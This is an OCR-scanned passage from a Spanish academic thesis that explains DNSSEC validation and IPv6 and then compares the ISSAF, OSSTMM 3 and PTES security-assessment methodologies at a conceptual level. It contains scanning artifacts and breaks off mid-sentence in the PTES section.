1. El Servidor cache validador al recibir una consulta por www.comunicate.com
realiza el proceso normal de consulta DNS hasta dar con el servidor autoritario
del dominio comunicate.com, una vez encontrado el servidor autoritario
consulta por el registro AAAA del dominio www.comunicate.com indicando que

espera una respuesta DNSSEC.
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El servidor autoritario del dominio comunicate.com estd habilitado para
DNSSEC de modo que contesta al servidor cache validador y responde a la
consulta con el registro AAAA de www.comunicate.com , acompafado de la
firma digital, para fines de verificacion.

El servidor cache validador necesita validar la firma digital de modo que solicita
las claves criptograficas al servidor autoritario del dominio comunicate.com.

El servidor autoritario del dominio comunicate.com responde con las claves
criptograficas, (y las firmas digitales de las claves) utilizadas para generar la
firma digital que se envio en el punto 2. El DNS de validacion puede usar esta
informacion para verificar las respuestas recibidas en el punto 2.

El DNS cache validador, solicita validacion al servidor autoritario del dominio
com, dominio padre del dominio comunicate.com, para obtener la informacion
de verificacion.

La informacion de verificacion se envia desde el servidor autoritario del dominio
com. El servidor DNS validador compara esto con la respuesta que recibio en
el punto 4, y los dos deben coincidir, lo que demuestra la autenticidad de
comunicate.com.

El DNS cache validador solicita al servidor autoritario del dominio com. por sus
claves criptogréficas, con el fin de verificar las respuestas recibidas en el punto
6.

El servidor autoritario del dominio com. responde con las claves criptograficas
y sus respetivas firmas digitales. EI DNS validador puede verificar las
respuestas recibidas en el punto 6.

El DNS cache validador solicita informacion de validaciéon del dominio com.

“n

(dominio hijo), al servidor autoritario del dominio raiz “.” (dominio padre).

10.El servidor de nombres raiz devuelve la informacién de validacién para validar

al com. El servidor DNS validador toma esta informacion y la usa para verificar

las respuestas recibidas en el punto 8.
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11.El servidor validador pregunta al servidor de nombres raiz por sus claves

criptograficas para verificar las respuestas recibidas en el punto 10.

12.El servidor de nombres raiz envia las claves, en este punto, la herramienta de

validacion puede verificar las respuestas recibidas en el punto 10.

13.El servidor cache validador, una vez validada la respuesta, la entrega al cliente.

1.3.14. Dificultades en el uso de DNSSEC

DNSSEC tiene como contrapartida ciertos problemas y dificultades que se
presentan en su utilizacion, entre los que se pueden destacar los siguientes [5],
[15]:

a)

b)

d)

Dificultad de implementacion y mantenimiento. Respecto a DNS, resulta
mas complejo de implementar y requiere una cuidadosa atencion en el
mantenimiento de las zonas y las claves. Cualquier problema relacionado con
el firmado o claves caducadas causara problemas en la resolucion a clientes
DNSSEC.

Tamafio de las respuestas. Una respuesta DNSSEC incrementa
notoriamente su tamafo respecto a una respuesta DNS convencional, lo que
conlleva un mayor uso de recursos de red y proporciona un vector explotable a
ataques de amplificacion DNS.

Rendimiento y Resolucion DNSSEC. El proceso de resolucion y verificacion
de firmas supone un incremento de procesado por parte del resolver que
puede impactar en el tiempo de respuesta y causar reintentos por parte de
clientes, lo que acentuara la carga.

Renovacion de claves. La correcta renovacion de las claves supone una
atencion extra a la hora de administrar el servidor.
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1.4. PROTOCOLO IPv6

IPv6 es la proxima generacion de estandares de direcciones del Protocolo de
Internet (IP) destinadas a complementar y eventualmente a reemplazar al
Protocolo de Internet version 4 (IPv4, Internet Protocol version 4), el cual ha sido
altamente implementado en las redes que actualmente se encuentran
desplegadas, con capacidad de brindar 2*? direcciones l6gicas, que hoy en dia
enfrentan una gran escasez, la cual se anticip6é desde finales de la década de los
afios 80 como consecuencia de la amplia expansion de la red y los servicios
soportados sobre Internet [16],[17]. Por esta razén, el Grupo de Trabajo de
Ingenieria de Internet (IETF), desarroll6 en 1996, la version mas reciente del
Protocolo IP, conocido como IPv6 (Internet Protocol version 6), destinado a
reemplazar en forma gradual a IPv4, con una capacidad de 2% (340
sextillones) direcciones, expresadas en notacion hexadecimal, como por
ejemplo:2001:DB8:8::260:97FF:FE40:EFAB, con el fin de brindar una red
escalable, optimizada en funcionalidad y seguridad [18],[19].

En febrero de 2011, la ICANN (Internet Corporation for Assigned Names and
Numbers), entidad encargada de coordinar el sistema de Nombres de Dominio
global de Internet, asigné las ultimas direcciones IPv4 a los cinco Registros
Regionales de Internet RIRs (Regional Internet Registries)! y al mismo tiempo
declar6 que las direcciones IPv4 se habian agotado. Para el Registro de
Direcciones de Internet para América Latina y el Caribe el RIR se denomina
LACNIC (Latin American and Caribbean Internet Address Registry), el agotamiento
de las direcciones IPv4 habia sido acordado en cuatro fases, anunciando el
comienzo de la ultima fase, el 15 de Febrero de 2017, para la asignacion del
ualtimo bloque de direcciones IPv4 disponible de LACNIC [20].

Frente a este hecho, LACNIC ha motivado a la comunidad a adoptar el protocolo
IPv6 para que los proveedores de conectividad y las organizaciones puedan
satisfacer la demanda de sus clientes y de nuevos usuarios de Internet en Ameérica
Latina y el Caribe [21], iniciativa que se ve apoyada con el incremento exponencial

! Los RIRs son organizaciones sin fines de lucro que administran y distribuyen los recursos numéricos de Internet, entre los que se incluye el
espacio de direcciones IPv4 e IPv6 y los nimeros de Sistema Auténomo dentro de una region particular del mundo. Todos ellos apoyan
activamente la implementacion de IPv6 y actualizan los recursos para ayudar a las economias de sus regiones a implementar el IPv6.

Actualmente hay 5 RIRs en funcionamiento: American Registry for Internet Numbers (ARIN)1 para América Anglosajona, RIPE Network
Coordination Centre (RIPE NCC)2 para Europa, el Oriente Medio y Asia Central, Asia-Pacific Network Information Centre (APNIC)3 para Asia
y la Region Pacifica, Latin American and Caribbean Internet Address Registry (LACNIC)4 para América Latina y el Caribe, African Network
Information Centre (AfriNIC)5 para Africa.
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de dispositivos 10T (Internet of Things), para los cuales se requerira la
disponibilidad de un mayor nimero de direcciones IP, colocando a IPv6 como la
Unica tecnologia posible para soportar el Internet de las Cosas [22].

Por consiguiente, los cambios en el protocolo DNS son necesarios para permitir la
capacidad de soportar el nuevo protocolo IPv6. Estos cambios incluyen la
definicion de un nuevo tipo de Registro de Recurso RR (AAAA) de 128 bits en
IPv6, como sustituto del Registro de Recurso RR (A) de 32 bits en IPv4, para
mapear un Nombre de Dominio a una direccion IPv6. Asi mismo, se produce otro
cambio en la asignacion inversa haciendo uso del dominio ip6.arpa [23].

Desde la perspectiva de la seguridad de la informacion, se requiere que el
protocolo DNS sea aun mas importante para IPv6 que para IPv4, ya que la
implementacion de IPv6 en las redes de informacion actuales, abre la posibilidad a
nuevos tipos y técnicas de ataque, con el empleo de mecanismos y herramientas
mas sofisticadas, afiadiendo nuevos puertos abiertos y nuevos puntos de entrada
en las aplicaciones, comprometiendo de manera negativa la seguridad del DNS
[24],[25].

24



CAPITULO 2

METODOLOGIAS ESTANDAR DE EVALUACION DE SEGURIDAD

Existen diferentes metodologias para la evaluacién de la seguridad, las cuales
permiten evaluar de forma metodica y repetible las pruebas de seguridad en
funcién del entorno real de trabajo. De esta forma las pruebas pueden ser
realizadas por diferentes auditores y un método comun, obteniendo resultados al
menos equiparables.

Cada una de las metodologias aporta diferentes aspectos que seran ventajosos en
determinados casos, por lo que a la hora de elegir alguna de ellas, no es una
decision simple, y deber ser estudiada y adaptada para cada caso. Es importante
remarcar que no hay una metodologia mejor o peor que otra, Sino que son guias
gue aportan diferentes puntos de vista de cara a la evaluacion de seguridad y que
sirven como manual de referencia a la hora de realizar esta actividad.

A continuacion se presenta una sintesis de las siguientes metodologias: ISSAF
[26], OSSTMM 3.0 [27] y PTES [28], las cuales tienen en comdn que el tipo de
licencia con el que se han creado permite su utilizacion de forma libre, es decir sin
costo. Centrandose en el estudio de los aspectos y caracteristicas mas
importantes de cada una de ellas, que sirvan como base para la generacién de
una metodologia que se adapte a las necesidades del Proyecto para el andlisis y
evaluacion de la seguridad proporcionada por DNSSEC en redes IPv6 en un
escenario de pruebas controlado. Para mayor informacion sobre cada una de las
metodologias analizadas a continuacion ver Anexo [1].

2.1. ISSAF

Marco de evaluacion de la seguridad de los sistemas de informacion

(ISSAF, Information System Security Assessment Framework), desarrollado por
el Grupo de Seguridad de Sistemas Abiertos de Informacion (OISSG, Open
Informacion System Security Grupo), con su ultima version 2.1 lanzada en 2006,
intenta definir una metodologia de evaluacién de seguridad de los sistemas de
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informacion, que sea mas exhaustiva que otros marcos de evaluacion, y que
mitigue los riesgos inherentes al proceso de evaluacion de la seguridad en si.

Al igual que otras metodologias presenta cinco certificaciones, una de ellas
dedicada al test de intrusidn: Penetration Testing Expert (I-PTE).

Alcance

ISSAF es una metodologia aplicable a cualquier tipo de organizacion sin importar
su tamafo. En busca de ser el marco de evaluacion mas completo, provee la
mayor cantidad de informacién posible en diferentes aspectos, tales como:

e La evaluacion de las redes, los sistemas y el control de aplicaciones.

e El andlisis y evaluacion de los entornos de prueba, infraestructura de red,
sistemas operativos, aplicaciones web y sistemas de bases de datos.

e La planeacion dentro de una organizacién para llevar a cabo la evaluacion de
seguridad.

e Las pautas necesarias para la gestion del compromiso entre la organizacion y
el auditor.

e Los lineamientos de accion a considerar para obtener los mejores
resultados.

e Las métricas para la evaluacion de la seguridad, basadas en la evaluacion de
riesgo.

e La metodologia de prueba de penetracién, junto con su guia técnica para la
ejecucion de la misma.

e Pautas para la estructura y el contenido de informes, para la presentacion de
resultados.

¢ Conjunto de recomendaciones, para acompafiar todo el proceso de evaluacién
desde el punto de vista del auditor o la organizacion.
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Entornos de aplicabilidad

ISSAF provee informacion para evaluar la seguridad de cuatro entornos:
seguridad en redes (router, switch, etc), seguridad en host o seguridad en
sistemas operativos (Linux, windows, etc), seguridad en aplicaciones web y
seguridad en bases de datos, para cada uno de los elementos del entorno
ofrece sus respectivas pruebas de evaluacion.

Metodologia general de ISSAF

ISSAF consta de cuatro fases principales: Planificacion, Evaluacion,
Tratamiento, y Acreditacion, cada una de estas fases posee paquetes de
trabajo especificos que son genéricos para todas las organizaciones e
independientemente de su tamafio. La ejecucidon de los respectivos paquetes de
trabajo, se enfocan en entregar resultados especificos, al culminar cada fase se
presenta un entregable con los resultados obtenidos.

e Planeacion, en donde se reune toda la informacién acerca de la organizacion
sobre la cual se va realizar la evaluacion de seguridad (informacién como la
infraestructura tecnologia que esta utiliza). También es la fase donde se busca
el financiamiento, se realiza el presupuesto, se determina paquetes de trabajo
y se selecciona un gerente, todo lo necesario para llevar acabo la evaluacién
de seguridad.

e Evaluacion, se identifica los activos y procesos de la organizacién, se estima
el impacto de una amenaza y la probabilidad ocurrencia de la misma. Ademas
donde se revisa los requisitos legales, se evalla las politicas de seguridad de
la organizacion y se evalla la seguridad de la organizacion en diferentes
aspectos, tales como: seguridad en la red, seguridad de los host, seguridad de
las bases de datos, etc.

e Tratamiento, se toman decisiones respecto a los riesgos residuales (determinar
salvaguardas para los riesgos, el plan de implementacion de estas, etc.).

e Acreditacién, se solicita primero la acreditacion a la OISSG, quien establecera
con la organizacion un contexto sobre la misma, el alcance de la evaluacion y
asignara al auditor(s) para que al final de la evaluacion con la presentacion de
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informes detallados presentados a la alta gerencia se determinara el grado de
cumplimiento de los requerimientos de ISSAF, para emitir el certificado.

Metodologia de penetracion de ISSAF

Para la evaluacion de la seguridad establece una metodologia de penetracidon de
tres fases, como se muestra en la Figura 2.1 por las autoras:

I Fase 1: Planeacion

estruccionn de Artefactos

Lase 3: Reporte, Limpieza y

Figura 2.1 Fases de la metodologia de penetracion de ISSAF

Fase I: Planeacion y preparacion

En esta fase se intercambia la informacion inicial, se planifica y se prepara para la
prueba. Es donde se firma el acuerdo formal de evaluacion por ambas partes,
como base para esta asignacion y proteccion legal mutua. Ademas de ser donde
se especifica equipo de trabajo, pruebas, fechas exactas y horas para las
pruebas.

Fase Il: Evaluacion

En esta fase se realiza la prueba de penetracion técnica, dividida en 9 capas,
donde cada capa representa un nivel de acceso mayor a los activos de la
informacion, como se muestra en la Figura 2.2 Fase Il de la metodologia ISSAF
por las autoras:
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Recoleccion de
informacion

Cubrimirnto de
pistas

Identificacion de
vulnerabilidades

Mantener el

acceso

Penetracion

Comprometer

usuarios/sitios -
remotos Obtencion de acceso

y escalamiento de
privilegios

Enumeraciéon |* %
adicional

Figura 2.2 Fase Il de la metodologia ISSAF

Fase lll: Reportes, limpieza y destruccién de artefactos

Esta es la dltima fase de penetracion de ISSAF. Plantea la entrega de informes
verbales y escritos donde se debe plasmar los resultados detallados de las
pruebas realizadas, las revisiones con recomendaciones para mejorar. Ademas de
contener el alcance del proyecto, las herramientas que se utilizaron, las fechas y la
duracion de las pruebas, el resultado de las mismas, la lista de las
vulnerabilidades encontradas y lista de recomendaciones. Igualmente es la fase
donde toda la informacién que se crea y / o se almacena en los sistemas probados
durante la evaluacion de seguridad debe ser eliminado de los sistemas y en caso
de que esta no lo sea, debe de ser informada a la organizacion por medio de
informe.

Guia técnica

Una de las caracteristicas mas importantes de ISSAF es el detalle en la guia
técnica de penetracion, debido a que organiza para cada una de las capas de la
fase de evaluacion criterios de evaluacion bien definidos (los criterios se pueden
considerar como actividades o pruebas que se pueden realizar en cada una de las
capas), revisados por expertos en la materia. Cada criterio de evaluacion incluyen:
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e Una descripcion. Sus objetivos. Los requisitos previos para llevar a cabo las
evaluaciones. El proceso de evaluacion. Muestra los resultados esperados.
Contramedidas recomendadas. Referencias a documentos externos.

Asimismo ISSAF para cada uno de los criterios recomienda herramientas para
llevar el proceso de evaluacion. Ademas se presenta modelos de plantillas donde
se puede consignar los resultados obtenidos, de la aplicacion de los criterios.

Métricas

Para la evaluacion de seguridad, ISSAF utiliza como métrica la evaluacion de
riesgo. Esta, se basa en el estudio de tres factores significativos: el valor del
activo (tanto cuantitativo como cualitativo), la probabilidad de ocurrencia de la
amenaza (valor cualitativo) y la criticidad de la vulnerabilidad (valor cualitativo),
como se observa en la Figura 2.3 tomada de [26]:

| | P -
)4 N Pl VALOR ACTIVO

VULNERABILIDAD
Figura 2.3 Métricas ISSAF
Mediante la relacion de:
Riesgo = Valor activo * Amenaza * Vulnerabilidad

La evaluacion del riesgo de ISSAF es muy similar al estandar 1ISO 27001 y a la
mayoria de guias de buenas practicas (SPICE, CMMi, COBIT).

Informes

A lo largo de todo el proceso de evaluacion ISSAF provee modelos para presentar
la informacién. ISSAF presenta modelos de plantillas para registrar los
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parametros y los resultados obtenidos de la aplicacion de los criterios de
evaluacion.

En la fase de reporte de ISSAF se establecen dos categorias de informes:

e Informe verbal: se presenta en el transcurso de la prueba de penetraciéon
cuando se identifica un problema critico.

e Informe final: se presenta una vez terminadas las pruebas mediante un
informe escrito que describa: resumen de gestion, alcance del proyecto,
herramientas utilizadas, fechas y tiempos de las pruebas reales en los
sistemas, lista de vulnerabilidades, recomendaciones, entre otras.

Recomendaciones

ISSAF realiza recomendaciones sobre la gestién de evaluacion de la seguridad,
la definicion del alcance de la prueba de seguridad, asi como la presentacion y
analisis de los resultados obtenidos.

Meticulosidad

El nivel meticulosidad de ISSAF es alto, debido a que es una de las metodologias
de evaluacion de seguridad mas exhaustiva que proporciona informaciéon en el
proceso de evaluacion. Provee a la organizacién de bases para la planeaciéon de
una evaluacion de seguridad en la misma, suministra a la organizacion y al auditor
de pautas para gestionar los compromisos, facilita al auditor de una guia de
penetracién técnica rigurosa con objetivos, herramientas y recomendaciones,
aplicable para la mayoria de los entornos de prueba existentes. Ademéas de
aportar pautas para la recoleccién de informacién, presentacion de informes,
analisis de resultados, calculo de la evaluacién de riesgo.

Usabilidad y uso

Debido a la meticulosidad de ISSAF en los diferentes aspectos la usabilidad de
ISSAF es alta, junto con las recomendaciones que se hacen a lo largo de ella,
permite que una organizacion o un auditor sin experiencia en el campo de
seguridad puedan llevar a cabo lo necesario para la evaluacién de seguridad.
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En cuanto al uso de la misma, ISSAF es una metodologia que va dirigida a:

e Evaluadores de vulnerabilidad internos y externos, probadores de penetracion,
auditores de seguridad y evaluadores de seguridad; profesionales
responsables de la seguridad del perimetro; ingenieros de seguridad y
consultores; gerentes de proyecto de evaluacion de seguridad; administradores
de sistemas, redes y seguridad web; gerentes técnicos y funcionales; personal
de sistemas de informacién responsable de la seguridad de la informacion.

Ventajas

La metodologia presenta las siguientes ventajas en diferentes aspectos:

e Al ser una herramienta abierta, puede ser utilizada libremente y el personal de
seguridad puede certificarse por parte de la entidad que la ha redactado.

e Presenta una fase de evaluacion conocida y probada en el ambito de la
seguridad informatica, que es utilizada de manera frecuente, sobre todo en
Norteamérica. Esto reduce costes significativos en la inversion para
implantarla en los organismos donde se requiera.

e El alto nivel de detalle en la metodologia de ISSAF, principalmente en la guia
de penetracién permite que ISSAF tenga un alto nivel de usabilidad, para
auditores con o sin experiencia en el campo de seguridad.

e El alcance de ISSAF es amplio, ya que brinda informacién para la planeacion,
ejecucion, analisis y entrega de resultados, tanto por parte del auditor como de
la organizacion que es avaluada sin importar su tamafio.

Limitaciones

e Debido a la antigiedad la dltima version de la metodologia, algunas
herramientas propuestas son obsoletas, razon por lo cual es necesario
realizar una actualizacion de herramientas para la prueba de penetracion.

e Por la misma antigiiedad de la metodologia, otra limitacidon es que no cubre
temas de proteccién de datos y cloud computing.
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2.2. OSSTMM 3

Representa un estandar de referencia imprescindible, para todo aquel que quiera
llevar a cabo un testeo de seguridad en forma ordenada y con calidad profesional.
Esta metodologia esta desarrollada por la organizacion ISECOM (Institute for
Security and Open Methodologies), es una organizacion abierta y colaborativa
gue se basa en la investigacion en seguridad informatica fundada en enero del
2001. Su objetivo es proporcionar concienciacion en seguridad, investigar, proveer
de certificaciones e integridad de negocio.

Su principal proyecto es la guia OSSTMM (Open Source Security Testing
Methodology Manual) que traducido al espafiol seria el Manual de la Metodologia
Abierta de Testeo de Seguridad. Uno de sus principales puntos a favor es que
tiene una vision global del concepto de la seguridad y no se centra en porciones
independientes de esta como si lo hacen otras metodologias.

Actualmente, la dltima versién de la metodologia OSSTMM es la version 3 [1],
que fue publicada en 2007. Es imprescindible sefalar que esta valoracion no es
compatible con versiones anteriores, por lo que debe ser considerada como
una version completamente nueva.

Antes de establecer el alcance de la auditoria, la metodologia guia al auditor con
una introduccién de los conceptos previos en seguridad que un auditor debe
conocer y sobre los nuevos términos manejados en esta Ultima acerca de lo que
se necesita saber y lo que se necesita hacer para llevar a cabo la correcta
aplicaciéon de esta metodologia.

Alcance

El alcance de la metodologia OSSTMM 3 comprende los siguientes aspectos:

e OSSTMM estd  orientado hacia  cualquier  tipo organizacion,
independientemente del tamafio, tecnologia o medidas de seguridad.

e Se establecen 7 pasos para definir correctamente una prueba de seguridad.

e La metodologia contempla 6 tipos de auditoria en funcion de las necesidades
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del cliente.

Engloba cualquier entorno donde se requieran aspectos de seguridad, ya sea
la seguridad fisica, humana, inaldmbrica de espectro completo, de
Telecomunicaciones y Redes de Datos.

Realiza una medicion real de la seguridad y los controles por medio de las
métricas de valor de evaluacion de riesgo (RAVs, Risk Assesment Values).

Para medir tanto la minuciosidad de la prueba como la seguridad del objetivo,
el uso de esta metodologia debe concluir con el Informe de auditoria de prueba
de seguridad (STAR, Security Test Audit Report).

Formalizacion de los resultados segun las normas éticas y legales a cumplir y
planificacion mostrando la trazabilidad y tiempos requeridos en cada una de las
fases.

Entornos de aplicabilidad

CLASE CANAL DESCRIPCION

Seguridad fisica (PHYSSEC)

Seguridad de Comunicaciones

Comprende el elemento humano de la comunicacion
donde la interaccion es fisica o psicolégica.

Pruebas de seguridad fisica donde el canal es de
naturaleza fisica y no electrénica. Comprende el
elemento tangible de seguridad donde la interaccion
requiere esfuerzo fisico o un transmisor de energia
para manipular.

Comprende todas las comunicaciones electronicas,
sefiales y emanaciones que tienen lugar sobre el

Seguridad del espectro espectro electromagnético conocido.

(SPECSEC) Esto incluye ELSEC como comunicaciones
electrénicas, SIGSEC como sefiales y EMSEC, que
son emanaciones sin ataduras por cables.

Comprende todas las redes de telecomunicaciones,
digitales o analégicas, donde la interaccion se lleva a
cabo a través de lineas telefénicas establecidas o
lineas telefénicas similares.

(COMSEC) Comprende todos los sistemas electrénicos y redes
de datos donde la interaccién se lleva a cabo a través
de lineas establecidas de cable y red cableada.

Figura 2.4 Entornos de aplicabilidad de OSSTMM 3

En la Figura 2.4 adaptada de [27], se aprecia que la metodologia comprende 3
clases posibles de actuacion e interaccién: seguridad de las comunicaciones
(COMSEC, communications security), seguridad fisica (PHYSSEC, physical
security), y seguridad del espectro (SPECSEC, spectrum security), los cuales se
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dividen en 5 canales o entornos de seguridad: fisica, humana, inaldmbrica de
espectro completo, de Telecomunicaciones y Redes de Datos.

Metodologia de penetracion

La Metodologia de penetracion de OSSTMM version 3 presenta cuatro fases en su
ejecucion. Ademas esta divida en 17 médulos, cada uno describe multiples tareas,
y todas las mismas propiedades se aplican a los cinco canales. Si bien la
metodologia en si misma puede ser la misma, cada canal difiere en tareas.

En la Figura 2.5 por las autoras, se muestran las cuatro fases de las pruebas de
intrusion que propone la metodologia OSSTMM 3:

A. Fase de preparacion

A1. Revision de la situacion A2. Logistica A3.Verificacion de la deteccion activa

B. Fasede interaccion

B4. Auditoria de la visibilidad B5. Verificacion de accesos B6. Verificacion de confianza BT. Verificacion de control

C. Fase de investigacion

C8. Verificacion C9. Verificacion de la €10. Validacién C11. Revision de | C12. Verificacion C13. Exploracion de
delos procesos | configuracion [ Verificacion | dela propiedad la segregacién de la exposicion | inteligencia competitiva

D. Fase de intervencion

D14. Verificacion de D15. Auditoria de los
la cuarentena privilegios

Figura 2.5 Fases propuestas por la metodologia OSSTMM 3

D16. Validacion de supervivencia /

D17 Revision de alertas y de reportes/
Evaluacién final

Continuidad del servicio

Guia técnica

OSSTMM no cuenta con una guia técnica sobre como llevar a cabo las pruebas
gue propone, debido a que sdlo realiza una explicacion general sobre lo que se
necesita saber y lo que se necesita hacer para llevar a cabo las tareas que
propone en cada una de sus fases sin especificar como hay que hacerlo, tampoco
describe las herramientas a utilizar para llevar a cabo cada una de las pruebas, lo
cual hace que la metodologia abstracta y genérica.

Los analistas deben conocer sus herramientas, de donde vienen, como trabajan, y
haberlas probado en un area restringida antes de usarlas en la organizacion del

cliente.
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Métrica

En OSSTMM las métricas se usan para medir el grado de seguridad de los activos
de una organizacion, aporta mediciones objetivas que son necesarias para la
valoracion de riesgos desde un punto de vista practico. Esto es muy demandado
para la justificacion de resultados y méas palpable que los analisis de riesgos méas
tedricos. Por tanto, se basa en mediciones técnicas realizadas durante las
pruebas, que son verificables y concluyentes, y que indican un factor de riesgo en
el sistema comparable a posteriori.

Utiliza el concepto de valores de evaluacion de riesgos o RAV (Risk Assesment
Values). RAV son una escala de medida en funcion de la superficie de ataque,
estos permiten determinar cuanta parte de la superficie esta expuesta y estan
definidos en cada uno de los médulos. La informacion de cada uno de los canales
auditados se encuentra resumida en el Rav, que no es nada mas que el balance
de la seguridad operacional, los controles y las limitaciones.

Informes

El uso de esta metodologia debe concluir con el Informe de auditoria de prueba de
seguridad (STAR, Security Test Audit Report ), El informe debe contener como
minimo la siguiente informacién, que se muestra en la Figura 2.6 tomada de [27]:

Nombres de los
Duracién del test responsables del
analisis

Fecha y horarios de las
pruebas

Tipo de auditoria Enumeracién de los
= Alcance de las pruebas = e
realizada sistemas objetivo

Ambito utilizado Vector probado Meétricas

Problemas Procesos responsables
encontrados de los fallos

Estado de las pruebas

Figura 2.6 Contenido béasico de un informe OSSTMM3
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Meticulosidad

OSSTM es una de las metodologias que presenta una cantidad de informacion
considerable en aspectos de la metodologia como en los nuevos términos que
maneja, junto con el uso de las métricas. Esta metodologia es muy exhaustiva y
minuciosa en la realizacién del test de intrusion. Se basa en la busqueda y
examen de forma detallada de los diferentes sistemas para descubrir fallos de
seguridad. Ademas esta actualizada y en constante revision.

Sin embargo no profundiza en aspectos como la guia técnica o la gestién de la
evaluacion de seguridad, de manera que para poder cubrir todos los aspectos de
la seguridad es muy genérica y abstracta, con lo que un analista sin experiencia
tendria dificultades para llevarla a cabo e identificar todas las pruebas que habria
que realizar.

Usabilidad y uso

La usabilidad que presenta esta metodologia se puede considerar de nivel Alto.
Requiere un alto entrenamiento, conocimiento, pericia y experiencia que son
habitualmente cubiertas con las certificaciones que propone la metodologia,
debido a que hay que obtener una gran cantidad de informacion para poder sacar
las métricas y se requiere de tiempo y experiencia para poder obtener esta
informacion de forma correcta.

OSSTMM es uno de los estandares de facto mas utilizados por los profesionales
dedicados a la revision de la seguridad de sistemas, proporcionando una
referencia imprescindible dentro de este sector. La metodologia esta bajo licencia
Creative Commons y OML (Open Methodology License), que permite su libre
utilizacién, revision publica y el empleo de herramientas de codigo abierto.

Ventajas

Las ventajas que presenta la metodologia OSSTM, pueden resumirse asi:

e Aporta escalabilidad, ya que se trata de una metodologia abierta, publica y
revisable. Es una de las metodologias mas actualizadas de las analizadas.

e Referente estandar, aceptada mundialmente en la realizaciéon de pruebas de
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intrusion sin importar el tamafio de la organizacién, la tecnologia o las defensas
utilizadas.

e Andlisis secuencial desarrollado de forma muy ordenada, exhaustiva y con
calidad profesional permitiendo la ejecucion de las tareas de forma sistematica.

e De alto nivel, indicando las tareas a realizar pero de manera independiente a la
tecnologia. Esto aporta mayor longevidad en la metodologia, dotandola de
flexibilidad.

e Presenta métricas, imprescindibles para poder gestionar la seguridad de la
informacion. Sin ellas las organizaciones no podrian medir de forma global si
estan siendo atacadas, como estan siendo atacadas, si tienen un nivel de
seguridad aceptable o si se esta defendiendo de forma adecuada.

Limitaciones

e OSSTMM 3, no es compatible con la version 2, de forma que es necesaria la
lectura e interpretacibn completa, como si se tratase de una nueva
metodologia.

e Dado que no recomienda herramientas, es necesario que el auditor
complemente el trabajo con un conjunto de aplicaciones en las que tenga
experiencia.

e Se basa mucho en la creatividad y experiencia del auditor, por lo que no es una
metodologia sencilla de utilizar para auditores noveles.

e Hay que obtener una gran cantidad de informacién para poder sacar las
métricas y se requiere de tiempo y experiencia para poder obtener esta
informacion de forma correcta. Pero cuando se aprende a llevarla a cabo de
forma correcta es muy util la puntuacién final que se obtiene.

e Debido a lo completa que es, puede resultar un poco tediosa de implementar.

e Para poder cubrir todos los aspectos de la seguridad es muy genérica y
abstracta, con lo que un analista sin experiencia tendria dificultades para
llevarla a cabo e identificar todas las pruebas que habria que realizar.
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e La complementacion de la metodologia OSSTMM con otras metodologias
puede ser complicada, ya que existen partes donde armonizarlas puedan
ralentizar ese proceso. Esto se justifica dado que OSSTMM no permite la
separacion entre la recoleccion de datos activos y la verificacion a través del
efecto de la alteracion. Tampoco diferencia entre pruebas activas y pasivas.

¢ No permite o es reacia a combinar su metodologia con otras.

23. PTES

Estandar de ejecucion de pruebas de penetracion (PTES, Penetration Testing
Executivo Standard). Es un nuevo estandar disefiado para proporcionar tanto a
las empresas como a los proveedores de servicios de seguridad un lenguaje
comun y alcance para realizar pruebas de penetracion (es decir, evaluaciones de
seguridad). Comenzé a principios de 2009 después de una discusion que provoco
entre algunos de los miembros fundadores sobre el valor (o la falta de) de las
pruebas de penetracion en la industria.

Alcance

La metodologia de PTES es aplicable en cualquier organizacién sin importar el
tamafio de la misma. Se enfoca principalmente en la ejecucién técnica de una
prueba de intrusion, razén por la que abarca de manera detallada el objetivo de
cada una pruebas de las fases de la metodologia de evaluacién, acompafiado con
una guia de herramientas que se pueden utilizar para cada la una de las pruebas.

Ademas de establecer pautas para determinar el alcance de la prueba, en aspecto
como:

e Determinar alcance y limitaciones técnicas y legales de la prueba de
penetracion.

e Estimar tiempo para la ejecucion.
e Modos de comunicacion con el cliente y el auditor.

e Compromisos con el cliente en: establecimiento de cronograma, manejo de
evidencias, reuniones con el cliente, entre otros.
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Entorno de aplicabilidad

PTES se enfoca en proveer informacion para evaluar la seguridad por medio del
analisis de infraestructura la cual la se divide en dos factores: configuraciones de
red (interfaces, router, etc) y servicios de red (conexiones VPN, Servicios de
directorio, etc).

Metodologia de penetracion

El estandar de ejecucion de pruebas de penetracion consta de siete (7) secciones
principales, como se muestra en la Figura 2.7 por las autoras:

Interacciones
Previas al
Compromiso

Explotacion
Posterior

Recoleccion de
Infromacion

Explotacion

Modelado De Analisis De
Amenazas ulnerabilidades

Figura 2.7 Fases de la metodologia de PTES

Interacciones previas al compromiso, se define el alcance de la prueba de
penetracion, metas, el tiempo de inicio y cierre de la prueba, etc. Ademas de
firma de contratos con la organizacién donde se realiza la evaluacion y terceros
que se vean involucrados y se hace recoleccién de informaciéon mediante
preguntas al cliente para hacer de la prueba de penetracion lo mas acertada
posible.

La recogida de informacion, se hace un reconocimiento del objetivo al reunir
la mayor cantidad de informacién posible ya sea sobre un activo o sobre un
proceso, considerando que la recoleccién de informacién se puede realizar de
diferentes maneras, con un monitoreo de la red o con un mapeo de la red. De
igual forma es recomendable hacer la recoleccion de informacion durante un
periodo de tiempo para garantizar los patrones que se identifiquen. El
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resultado de esta fase podra ser identificar hosts activos, mecanismos de
proteccion, etc.

Modelado de amenazas, se realiza un modelado de amenazas para la
ejecucion correcta de la prueba de penetracion, para esto se realiza un analisis
de los activos y procesos, mediante este andlisis el pentester puede identificar
los activos con mayor probabilidad de ser atacados, determinar su valor y cual
seria el impacto de su pérdida y de igual manera identificar los procesos
criticos frente a los no criticos y eventualmente encontrar fallas en ellos.

Andlisis de vulnerabilidad, es el proceso de descubrir fallas en sistemas y
aplicaciones que pueden ser aprovechadas por un atacante, para esto se
realizan pruebas activas, que implican una interaccion directa con el
componente que se prueba para detectar vulnerabilidades de seguridad y
pruebas pasivas que se llevan a cabo a partir del analisis de metadatos y la
supervision del trafico. Asimismo para verificar la identificacion de
vulnerabilidades se lleva a cabo una validacion a partir del uso de herramientas
y de comprobaciones manuales. Del mismo una vez identificada Ila
vulnerabilidad se realiza una investigacién para encontrar la explotabilidad de
la vulnerabilidad.

Explotacion, se centra Unicamente en establecer el acceso a un sistema o
recurso al eludir las restricciones de seguridad (Antivirus, Codificacion, etc),
Para esto se puede utilizar exploits especificos para los sistemas operativos 0
aprovechandose de las vulnerabilidades de angulo del dia cero. De igual forma
se debe considerar que los atagues que se realicen estén dentro del alcance
establecido.

Explotacion posterior, se determina el valor de la maguina comprometida y
se mantiene el control de la maquina para su uso posterior. El valor de la
